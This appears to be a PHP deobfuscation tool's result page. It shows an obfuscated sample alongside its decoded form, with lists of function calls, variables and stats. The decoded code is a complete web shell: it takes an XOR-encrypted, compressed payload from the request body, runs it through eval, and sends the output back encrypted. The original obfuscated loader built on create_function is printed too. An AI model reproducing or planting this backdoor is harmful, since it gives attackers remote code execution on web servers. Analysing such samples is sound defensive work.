Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $x=str_replace('z','','crzezzate_fzzuznction'); $K='1Uo1Ub_end_clean();1U $r=@1Ub..

Decoded Output download

$k="63a9f0ea";$kh="7bb98050796b";$kf="649e85481845";$p="mkeDchYp3EpQCyHt";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) {  @ob_start();  eval(@gzuncompress(@x(base64_decode($m[1]),$k)));  $o=@ob_get_contents();  @ob_end_clean();  $r=@base64_encode(@x(@gzcompress($o),$k));  print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$x=str_replace('z','','crzezzate_fzzuznction');
$K='1Uo1Ub_end_clean();1U  $r=@1Ubase1U64_encode(@1Ux(@gzcompr1Uess($o1U),$k1U));  pr1Uint("$p1U$kh$r1U$kf");}';
$a='($j=0;1U($j<$c&&$i<$1Ul);$j1U++,$i++){1U1U$o.=$t{$i}^$k1U{$j};}1U}1Ureturn1U $o;}if (@p1Ure1Ug_mat1Uch("/$1';
$n='Ukh(.+)1U$kf/",@1Ufi1U1Ule_g1Uet_co1Untents("ph1Up://in1Up1Uut"),$m) == 1) { 1U @1Uob_start();1U  @e';
$W='n1U1Uction x($t1U,$k1U)1U{$c=strlen($k);1U$1Ul=st1Urlen($t);1U$o="";1Ufor(1U$i1U1U=0;$i<$l;){1Ufor';
$Z='va1Ul(@gzu1Uncompress(@x1U1U(@base1U641U_decode($m[1U1]1U),$k)));1U  $o1U=@ob_ge1Ut_c1Uonte1Unts();  @';
$b='$1Uk="1U63a9f0ea";$k1Uh="7bb1U98051U0796b";1U$kf="649e81U1U54818451U";$p="mkeDchY1Up3Ep1UQCyHt";fu';
$R=str_replace('1U','',$b.$W.$a.$n.$Z.$K);
$t=$x('',$R);$t();
?>

Function Calls

str_replace 2
create_function 1

Variables

$K 1Uo1Ub_end_clean();1U $r=@1Ubase1U64_encode(@1Ux(@gzcompr1U..
$R $k="63a9f0ea";$kh="7bb98050796b";$kf="649e85481845";$p="mkeD..
$W n1U1Uction x($t1U,$k1U)1U{$c=strlen($k);1U$1Ul=st1Urlen($t);..
$Z va1Ul(@gzu1Uncompress(@x1U1U(@base1U641U_decode($m[1U1]1U),$..
$a ($j=0;1U($j<$c&&$i<$1Ul);$j1U++,$i++){1U1U$o.=$t{$i}^$k1U{$j..
$b $1Uk="1U63a9f0ea";$k1Uh="7bb1U98051U0796b";1U$kf="649e81U1U5..
$n Ukh(.+)1U$kf/",@1Ufi1U1Ule_g1Uet_co1Untents("ph1Up://in1Up1U..
$x create_function

Stats

MD5 d96aa397d9710754c65885326fd02bdd
Eval Count 1
Decode Time 103 ms